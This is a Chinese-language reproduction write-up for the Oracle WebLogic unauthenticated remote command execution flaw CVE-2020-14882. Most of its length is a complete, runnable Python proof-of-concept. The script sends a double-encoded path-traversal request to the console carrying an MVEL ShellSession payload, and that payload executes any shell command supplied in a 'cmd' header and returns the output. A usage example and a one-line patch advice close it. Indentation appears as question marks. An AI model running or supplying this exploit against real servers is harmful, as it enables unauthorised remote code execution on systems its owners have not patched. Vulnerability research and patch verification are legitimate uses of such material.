weblogic未授权命令执行漏洞(CVE-2020-14882)
漏洞描述:
未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的?weblogic?Server 上执行任意代码。
复现过程:
1.访问ip:port/console
2.poc构造
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# author: zhzyker
# from: https://github.com/zhzyker/vulmap
# from: https://github.com/zhzyker/exphub
import http.client
import requests
import sys
import argparse
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
payload_cve_2020_14882_v12 = ('_nfpb=true&_pageLabel=&handle='
????????????'com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = '
????????????'(weblogic.work.ExecuteThread) Thread.currentThread(); weblogic.work.WorkAdapter adapter = '
????????????'executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField'
????????????'("connectionHandler"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet'
????????????'.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) '
????????????'obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd"); '
????????????'String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]'
????????????'{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; if (cmd != null) { String result '
????????????'= new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter'
????????????'("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.'
????????????'ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);'
????????????'res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));'
????????????'res.getServletOutputStream().flush(); res.getWriter().write(""); }executeThread.interrupt(); ");')
def cve_2020_14882(url, cmd):
????payload = payload_cve_2020_14882_v12
????path = "/console/css/%252e%252e%252fconsole.portal"
????headers = {
????????'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36',
????????'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,'
??????????????????'application/signed-exchange;v=b3;q=0.9',
????????'Accept-Encoding': 'gzip, deflate',
????????'Accept-Language': 'zh-CN,zh;q=0.9',
????????'Connection': 'close',
????????'Content-Type': 'application/x-www-form-urlencoded',
????????'cmd': cmd
????}
????try:
????????request = requests.post(url + path, data=payload, headers=headers, timeout=10, verify=False)
????????print(request.text)
????except Exception as error:
????????print("[-] Vuln Check Failed... ...")
????????print("[-] More Weblogic vulnerabilities in https://github.com/zhzyker/vulmap")
if __name__ == '__main__':
????parser = argparse.ArgumentParser(description='Weblogic cve-2020-14882',
?????????????????????????????????????usage='use "python %(prog)s --help" for more information',
?????????????????????????????????????formatter_class=argparse.RawTextHelpFormatter)
????parser.add_argument("-u", "--url",
????????????????????????dest="url",
????????????????????????help="target url (http://ip:port/)"
????????????????????????)
????parser.add_argument("-c", "--cmd",
????????????????????????dest="cmd",
????????????????????????help="command"
????????????????????????)
????args = parser.parse_args()
????if not args.url or not args.cmd:
????????sys.exit('[*] Please assign url and cmd! \n[*] Examples python cve-2020-14882_rce.py -u http://ip:port/ -c whoami')
????cve_2020_14882(args.url, args.cmd)
3.运行poc
python poc.py?-u http://ip:port/ -c 命令
修复建议:
此次 Oracle 官方的 CPU已发布了针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。
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